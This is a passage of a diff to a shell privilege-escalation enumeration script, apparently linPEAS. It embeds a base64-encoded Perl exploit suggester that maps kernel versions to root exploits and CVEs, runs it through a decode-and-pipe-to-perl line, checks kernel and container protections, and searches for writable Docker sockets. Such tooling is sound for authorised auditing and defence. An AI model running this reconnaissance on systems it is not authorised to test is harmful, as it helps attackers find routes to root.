wgICcyLjYuNScsCiAgICAgICAgICAgICcyLjYuNicsICAnMi42LjcnLCAgJzIuNi44JywgICcyLjYuOScsICAnMi42LjEwJywgJzIuNi4xMScsCiAgICAgICAgICAgICcyLjYuMTInLCAnMi42LjEzJywgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywgJzIuNi4xNycsCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsCiAgICAgICAgICAgICcyLjYuMzAnLCAnMi42LjMxJywgJzIuNi4zMicsICcyLjYuMzMnLCAnMi42LjM0JywgJzIuNi4zNScsCiAgICAgICAgICAgICcyLjYuMzYnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICdlY29uZXQnLAogICAgICAgIGN2ZSA9PiAnMjAxMC0zODUwJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTc3ODcnLAogICAgfSwKICAgICdoYWxmX25lbHNvbjMnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4wJywgICcyLjYuMScsICAnMi42LjInLCAgJzIuNi4zJywgICcyLjYuNCcsICAnMi42LjUnLAogICAgICAgICAgICAnMi42LjYnLCAgJzIuNi43JywgICcyLjYuOCcsICAnMi42LjknLCAgJzIuNi4xMCcsICcyLjYuMTEnLAogICAgICAgICAgICAnMi42LjEyJywgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnLAogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLAogICAgICAgICAgICAnMi42LjM2JywKICAgICAgICBdLAogICAgICAgIGFsdCA9PiAnZWNvbmV0JywKICAgICAgICBjdmUgPT4gJzIwMTAtNDA3MycsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzE3Nzg3JywKICAgIH0sCiAgICAnY2Fwc190b19yb290JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMzQnLCAnMi42LjM1JywgJzIuNi4zNicgXSwKICAgICAgICBjdmUgID0+ICduL2EnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNTkxNicsCiAgICB9LAogICAgJ2FtZXJpY2FuLXNpZ24tbGFuZ3VhZ2UnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4wJywgICcyLjYuMScsICAnMi42LjInLCAgJzIuNi4zJywgICcyLjYuNCcsICAnMi42LjUnLAogICAgICAgICAgICAnMi42LjYnLCAgJzIuNi43JywgICcyLjYuOCcsICAnMi42LjknLCAgJzIuNi4xMCcsICcyLjYuMTEnLAogICAgICAgICAgICAnMi42LjEyJywgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnLAogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLAogICAgICAgICAgICAnMi42LjM2JywKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAxMC00MzQ3JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuc2VjdXJpdHlmb2N1cy5jb20vYmlkLzQ1NDA4JywKICAgIH0sCiAgICAncGt0Y2R2ZCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjAnLCAgJzIuNi4xJywgICcyLjYuMicsICAnMi42LjMnLCAgJzIuNi40JywgICcyLjYuNScsCiAgICAgICAgICAgICcyLjYuNicsICAnMi42LjcnLCAgJzIuNi44JywgICcyLjYuOScsICAnMi42LjEwJywgJzIuNi4xMScsCiAgICAgICAgICAgICcyLjYuMTInLCAnMi42LjEzJywgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywgJzIuNi4xNycsCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsCiAgICAgICAgICAgICcyLjYuMzAnLCAnMi42LjMxJywgJzIuNi4zMicsICcyLjYuMzMnLCAnMi42LjM0JywgJzIuNi4zNScsCiAgICAgICAgICAgICcyLjYuMzYnLAogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDEwLTM0MzcnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNTE1MCcsCiAgICB9LAogICAgJ3ZpZGVvNGxpbnV4JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMCcsICAnMi42LjEnLCAgJzIuNi4yJywgICcyLjYuMycsICAnMi42LjQnLCAgJzIuNi41JywKICAgICAgICAgICAgJzIuNi42JywgICcyLjYuNycsICAnMi42LjgnLCAgJzIuNi45JywgICcyLjYuMTAnLCAnMi42LjExJywKICAgICAgICAgICAgJzIuNi4xMicsICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JywKICAgICAgICAgICAgJzIuNi4xOCcsICcyLjYuMTknLCAnMi42LjIwJywgJzIuNi4yMScsICcyLjYuMjInLCAnMi42LjIzJywKICAgICAgICAgICAgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywKICAgICAgICAgICAgJzIuNi4zMCcsICcyLjYuMzEnLCAnMi42LjMyJywgJzIuNi4zMycsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTAtMzA4MScsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzE1MDI0JywKICAgIH0sCiAgICAnbWVtb2RpcHBlcicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjM5JywgJzMuMC4wJywgJzMuMC4xJywgJzMuMC4yJywgJzMuMC4zJywgJzMuMC40JywKICAgICAgICAgICAgJzMuMC41JywgICczLjAuNicsICczLjEuMCcsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTItMDA1NicsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzE4NDExJywKICAgIH0sCiAgICAnc2VtdGV4JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMzcnLCAnMi42LjM4JywgJzIuNi4zOScsICczLjAuMCcsICczLjAuMScsICczLjAuMicsCiAgICAgICAgICAgICczLjAuMycsICAnMy4wLjQnLCAgJzMuMC41JywgICczLjAuNicsICczLjEuMCcsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTMtMjA5NCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzI1NDQ0JywKICAgIH0sCiAgICAncGVyZl9zd2V2ZW50JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICczLjAuMCcsICczLjAuMScsICczLjAuMicsICczLjAuMycsICczLjAuNCcsICczLjAuNScsCiAgICAgICAgICAgICczLjAuNicsICczLjEuMCcsICczLjIuMCcsICczLjMuMCcsICczLjQuMCcsICczLjQuMScsCiAgICAgICAgICAgICczLjQuMicsICczLjQuMycsICczLjQuNCcsICczLjQuNScsICczLjQuNicsICczLjQuOCcsCiAgICAgICAgICAgICczLjQuOScsICczLjUuMCcsICczLjYuMCcsICczLjcuMCcsICczLjguMCcsICczLjguMScsCiAgICAgICAgICAgICczLjguMicsICczLjguMycsICczLjguNCcsICczLjguNScsICczLjguNicsICczLjguNycsCiAgICAgICAgICAgICczLjguOCcsICczLjguOScsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTMtMjA5NCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzI2MTMxJywKICAgIH0sCiAgICAnbXNyJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI3JywgJzIuNi4yOCcsCiAgICAgICAgICAgICcyLjYuMjknLCAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsCiAgICAgICAgICAgICcyLjYuMzUnLCAnMi42LjM2JywgJzIuNi4zNycsICcyLjYuMzgnLCAnMi42LjM5JywgJzMuMC4wJywKICAgICAgICAgICAgJzMuMC4xJywgICczLjAuMicsICAnMy4wLjMnLCAgJzMuMC40JywgICczLjAuNScsICAnMy4wLjYnLAogICAgICAgICAgICAnMy4xLjAnLCAgJzMuMi4wJywgICczLjMuMCcsICAnMy40LjAnLCAgJzMuNS4wJywgICczLjYuMCcsCiAgICAgICAgICAgICczLjcuMCcsICAnMy43LjYnLAogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDEzLTAyNjgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yNzI5NycsCiAgICB9LAogICAgJ3RpbWVvdXRwd24nID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzMuNC4wJywgICczLjUuMCcsICAnMy42LjAnLCAgJzMuNy4wJywgICczLjguMCcsICAnMy44LjknLCAKICAgICAgICAgICAgJzMuOS4wJywgICczLjEwLjAnLCAnMy4xMS4wJywgJzMuMTIuMCcsICczLjEzLjAnLCAnMy40LjAnLAogICAgICAgICAgICAnMy41LjAnLCAgJzMuNi4wJywgICczLjcuMCcsICAnMy44LjAnLCAgJzMuOC41JywgICczLjguNicsICAKICAgICAgICAgICAgJzMuOC45JywgICczLjkuMCcsICAnMy45LjYnLCAgJzMuMTAuMCcsICczLjEwLjYnLCAnMy4xMS4wJywKICAgICAgICAgICAgJzMuMTIuMCcsICczLjEzLjAnLCAnMy4xMy4xJwogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDE0LTAwMzgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8zMTM0NicsCiAgICB9LAogICAgJ3Jhd21vZGVQVFknID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLCAnMi42LjM2JywKICAgICAgICAgICAgJzIuNi4zNycsICcyLjYuMzgnLCAnMi42LjM5JywgJzMuMTQuMCcsICczLjE1LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTQtMDE5NicsCiAgICAgICAgbWlsID0+ICdodHRwOi8vcGFja2V0c3Rvcm1zZWN1cml0eS5jb20vZmlsZXMvZG93bmxvYWQvMTI2NjAzL2N2ZS0yMDE0LTAxOTYtbWQuYycsCiAgICB9LAogICAgJ292ZXJsYXlmcycgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMy4xMy4wJywgJzMuMTYuMCcsICczLjE5LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTUtODY2MCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzM5MjMwJywKICAgIH0sCiAgICAncHBfa2V5JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCgkJCSczLjQuMCcsICAnMy41LjAnLCAgJzMuNi4wJywgICczLjcuMCcsICAnMy44LjAnLCAgJzMuOC4xJywgIAogICAgICAgICAgICAnMy44LjInLCAgJzMuOC4zJywgICczLjguNCcsICAnMy44LjUnLCAgJzMuOC42JywgICczLjguNycsICAKICAgICAgICAgICAgJzMuOC44JywgICczLjguOScsICAnMy45LjAnLCAgJzMuOS42JywgICczLjEwLjAnLCAnMy4xMC42JywgCiAgICAgICAgICAgICczLjExLjAnLCAnMy4xMi4wJywgJzMuMTMuMCcsICczLjEzLjEnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTYtMDcyOCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzM5Mjc3JywKICAgIH0sCiAgICAnZGlydHlfY293JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMjInLCAnMi42LjIzJywgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsIAoJCQknMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLCAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAKICAgICAgICAgICAgJzIuNi4zMycsICcyLjYuMzQnLCAnMi42LjM1JywgJzIuNi4zNicsICcyLjYuMzcnLCAnMi42LjM4JywgCiAgICAgICAgICAgICcyLjYuMzknLCAnMy4wLjAnLCAgJzMuMC4xJywgICczLjAuMicsICAnMy4wLjMnLCAgJzMuMC40JywgIAogICAgICAgICAgICAnMy4wLjUnLCAgJzMuMC42JywgICczLjEuMCcsICAnMy4yLjAnLCAgJzMuMy4wJywgICczLjQuMCcsICAKICAgICAgICAgICAgJzMuNS4wJywgICczLjYuMCcsICAnMy43LjAnLCAgJzMuNy42JywgICczLjguMCcsICAnMy45LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTYtNTE5NScsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzQwNjE2JywKICAgIH0sCiAgICAnYWZfcGFja2V0JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbJzQuNC4wJyBdLAogICAgICAgIGN2ZSA9PiAnMjAxNi04NjU1JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNDA4NzEnLAogICAgfSwKICAgICdwYWNrZXRfc2V0X3JpbmcnID0+IHsKICAgICAgICB2dWxuID0+IFsnNC44LjAnIF0sCiAgICAgICAgY3ZlID0+ICcyMDE3LTczMDgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy80MTk5NCcsCiAgICB9LAogICAgJ2Nsb25lX25ld3VzZXInID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzMuMy41JywgJzMuMy40JywgJzMuMy4yJywgJzMuMi4xMycsICczLjIuOScsICczLjIuMScsIAogICAgICAgICAgICAnMy4xLjgnLCAnMy4wLjUnLCAnMy4wLjQnLCAnMy4wLjInLCAnMy4wLjEnLCAnMy4yJywgJzMuMC4xJywgJzMuMCcKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnTlxBJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMzgzOTAnLAogICAgfSwKICAgICdnZXRfcmVrdCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnNC40LjAnLCAnNC44LjAnLCAnNC4xMC4wJywgJzQuMTMuMCcKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAxNy0xNjY5NScsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzQ1MDEwJywKICAgIH0sCiAgICAnZXhwbG9pdF94JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMjInLCAnMi42LjIzJywgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsCiAgICAgICAgICAgICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsICcyLjYuMzAnLCAnMi42LjMxJywgJzIuNi4zMicsCiAgICAgICAgICAgICcyLjYuMzMnLCAnMi42LjM0JywgJzIuNi4zNScsICcyLjYuMzYnLCAnMi42LjM3JywgJzIuNi4zOCcsCiAgICAgICAgICAgICcyLjYuMzknLCAnMy4wLjAnLCAgJzMuMC4xJywgICczLjAuMicsICAnMy4wLjMnLCAgJzMuMC40JywKICAgICAgICAgICAgJzMuMC41JywgICczLjAuNicsICAnMy4xLjAnLCAgJzMuMi4wJywgICczLjMuMCcsICAnMy40LjAnLAogICAgICAgICAgICAnMy41LjAnLCAgJzMuNi4wJywgICczLjcuMCcsICAnMy43LjYnLCAgJzMuOC4wJywgICczLjkuMCcsCiAgICAgICAgICAgICczLjEwLjAnLCAnMy4xMS4wJywgJzMuMTIuMCcsICczLjEzLjAnLCAnMy4xNC4wJywgJzMuMTUuMCcsCiAgICAgICAgICAgICczLjE2LjAnLCAnMy4xNy4wJywgJzMuMTguMCcsICczLjE5LjAnLCAnNC4wLjAnLCAgJzQuMS4wJywKICAgICAgICAgICAgJzQuMi4wJywgICc0LjMuMCcsICAnNC40LjAnLCAgJzQuNS4wJywgICc0LjYuMCcsICAnNC43LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTgtMTQ2NjUnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy80NTY5NycsCiAgICB9LAogICk7Cn0KCl9fRU5EX18KPWhlYWQxIE5BTUUKCmxpbnV4X2V4cGxvaXRfc3VnZ2VzdGVyLTIucGwgLSBBIGxvY2FsIGV4cGxvaXQgc3VnZ2VzdGVyIGZvciBsaW51eAoKPWhlYWQxIERFU0NSSVBUSU9OCgpUaGlzIHBlcmwgc2NyaXB0IHdpbGwgZW51bWVyYXRlIHRoZSBwb3NzaWJsZSBleHBsb2l0cyBhdmFpbGFibGUgZm9yIGEgZ2l2ZW4ga2VybmVsIHZlcnNpb24KCj1oZWFkMSBVU0FHRQoKWy1oXSBIZWxwICh0aGlzIG1lc3NhZ2UpClsta10gS2VybmVsIG51bWJlciAoZWcuIDIuNi4yOCkKWy1kXSBPcGVuIGV4cGxvaXQgZG93bmxvYWQgbWVudQoKWW91IGNhbiBhbHNvIHByb3ZpZGUgYSBwYXJ0aWFsIGtlcm5lbCB2ZXJzaW9uIChlZy4gMi40KQp0byBzZWUgYWxsIGV4cGxvaXRzIGF2YWlsYWJsZS4KCj1oZWFkMSBBVVRIT1IKCkpvbmF0aGFuIERvbmFzIChjKSAyMDE5Cgo9Y3V0Cgo9aGVhZDEgTElDRU5TRQoKIExpbnV4IEV4cGxvaXQgU3VnZ2VzdGVyIDIKCiBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yIG1vZGlmeQogaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKIHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlciB2ZXJzaW9uIDIgb2YgdGhlIExpY2Vuc2UsIG9yCiAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgoKIFRoaXMgcHJvZ3JhbSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAogYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUKIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCiAgICAgICAgCiBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhbG9uZwogd2l0aCB0aGlzIHByb2dyYW07IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLiwKIDUxIEZyYW5rbGluIFN0cmVldCwgRmlmdGggRmxvb3IsIEJvc3RvbiwgTUEgMDIxMTAtMTMwMSBVU0EuCgo9Y3V0Cg=="
+ echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
+ echo ""
+fi
+
+if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null)" ]; then
+ print_2title "Brew Doctor Suggestions"
+ brew doctor
+ echo ""
+fi
+
+
+
+#-- SY) AppArmor
+print_2title "Protections"
+print_list "AppArmor enabled? .............. "$NC
+if [ "$(command -v aa-status 2>/dev/null)" ]; then
+ aa-status 2>&1 | sed "s,disabled,${SED_RED},"
+elif [ "$(command -v apparmor_status 2>/dev/null)" ]; then
+ apparmor_status 2>&1 | sed "s,disabled,${SED_RED},"
+elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then
+ ls -d /etc/apparmor*
+else
+ echo_not_found "AppArmor"
+fi
+
+#-- SY) AppArmor2
+print_list "AppArmor profile? .............. "$NC
+(cat /proc/self/attr/current 2>/dev/null || echo "unconfined") | sed "s,unconfined,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
+
+#-- SY) LinuxONE
+print_list "is linuxONE? ................... "$NC
+( (uname -a | grep "s390x" >/dev/null 2>&1) && echo "Yes" || echo_not_found "s390x")
+
+#-- SY) grsecurity
+print_list "grsecurity present? ............ "$NC
+( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity")
+
+#-- SY) PaX
+print_list "PaX bins present? .............. "$NC
+(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX")
+
+#-- SY) Execshield
+print_list "Execshield enabled? ............ "$NC
+(grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED},"
+
+#-- SY) SElinux
+print_list "SELinux enabled? ............... "$NC
+(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
+
+#-- SY) Seccomp
+print_list "Seccomp enabled? ............... "$NC
+([ "$(grep Seccomp /proc/self/status 2>/dev/null | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
+
+#-- SY) AppArmor
+print_list "User namespace? ................ "$NC
+if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
+
+#-- SY) cgroup2
+print_list "Cgroup2 enabled? ............... "$NC
+([ "$(grep cgroup2 /proc/filesystems 2>/dev/null)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
+
+#-- SY) Gatekeeper
+if [ "$MACPEAS" ]; then
+ print_list "Gatekeeper enabled? .......... "$NC
+ (spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
+
+ print_list "sleepimage encrypted? ........ "$NC
+ (sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no
+
+ print_list "XProtect? .................... "$NC
+ (system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no
+
+ print_list "SIP enabled? ................. "$NC
+ csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no
+
+ print_list "Connected to JAMF? ........... "$NC
+ warn_exec jamf checkJSSConnection
+
+ print_list "Connected to AD? ............. "$NC
+ dsconfigad -show && echo "" || echo_no
+fi
+
+#-- SY) ASLR
+print_list "Is ASLR enabled? ............... "$NC
+ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
+if [ -z "$ASLR" ]; then
+ echo_not_found "/proc/sys/kernel/randomize_va_space";
+else
+ if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi
+ echo ""
+fi
+
+#-- SY) Printer
+print_list "Printer? ....................... "$NC
+(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null
+
+#-- SY) Running in a virtual environment
+print_list "Is this a virtual machine? ..... "$NC
+hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor)
+if [ "$(command -v systemd-detect-virt 2>/dev/null)" ]; then
+ detectedvirt=$(systemd-detect-virt)
+ if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi
+else
+ if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q container; then
+print_title "Container"
+###########################################
+#---------) Container functions (---------#
+###########################################
+
+containerCheck() {
+ inContainer=""
+ containerType="$(echo_no)"
+
+ # Are we inside docker?
+ if [ -f "/.dockerenv" ] ||
+ grep "/docker/" /proc/1/cgroup -qa 2>/dev/null ||
+ grep -qai docker /proc/self/cgroup 2>/dev/null ||
+ [ "$(find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \; 2>/dev/null)" ] ; then
+
+ inContainer="1"
+ containerType="docker\n"
+ fi
+
+ # Are we inside kubernetes?
+ if grep "/kubepod" /proc/1/cgroup -qa 2>/dev/null ||
+ grep -qai kubepods /proc/self/cgroup 2>/dev/null; then
+
+ inContainer="1"
+ if [ "$containerType" ]; then containerType="$containerType (kubernetes)\n"
+ else containerType="kubernetes\n"
+ fi
+ fi
+
+ # Inside concourse?
+ if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then
+ inContainer="1"
+ if [ "$containerType" ]; then
+ containerType="$containerType (concourse)\n"
+ fi
+ fi
+
+ # Are we inside LXC?
+ if env | grep "container=lxc" -qa 2>/dev/null ||
+ grep "/lxc/" /proc/1/cgroup -qa 2>/dev/null; then
+
+ inContainer="1"
+ containerType="lxc\n"
+ fi
+
+ # Are we inside podman?
+ if env | grep -qa "container=podman" 2>/dev/null ||
+ grep -qa "container=podman" /proc/1/environ 2>/dev/null; then
+
+ inContainer="1"
+ containerType="podman\n"
+ fi
+
+ # Check for other container platforms that report themselves in PID 1 env
+ if [ -z "$inContainer" ]; then
+ if grep -a 'container=' /proc/1/environ 2>/dev/null; then
+ inContainer="1"
+ containerType="$(grep -a 'container=' /proc/1/environ | cut -d= -f2)\n"
+ fi
+ fi
+}
+
+inDockerGroup() {
+ DOCKER_GROUP="No"
+ if groups 2>/dev/null | grep -q '\bdocker\b'; then
+ DOCKER_GROUP="Yes"
+ fi
+}
+
+checkDockerRootless() {
+ DOCKER_ROOTLESS="No"
+ if docker info 2>/dev/null|grep -q rootless; then
+ DOCKER_ROOTLESS="Yes ($TIP_DOCKER_ROOTLESS)"
+ fi
+}
+
+enumerateDockerSockets() {
+ dockerVersion="$(echo_not_found)"
+ if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then
+ SEARCHED_DOCKER_SOCKETS="1"
+ for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do
+ if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then
+ if echo "$int_sock" | grep -Eq "docker"; then
+ dock_sock="$int_sock"
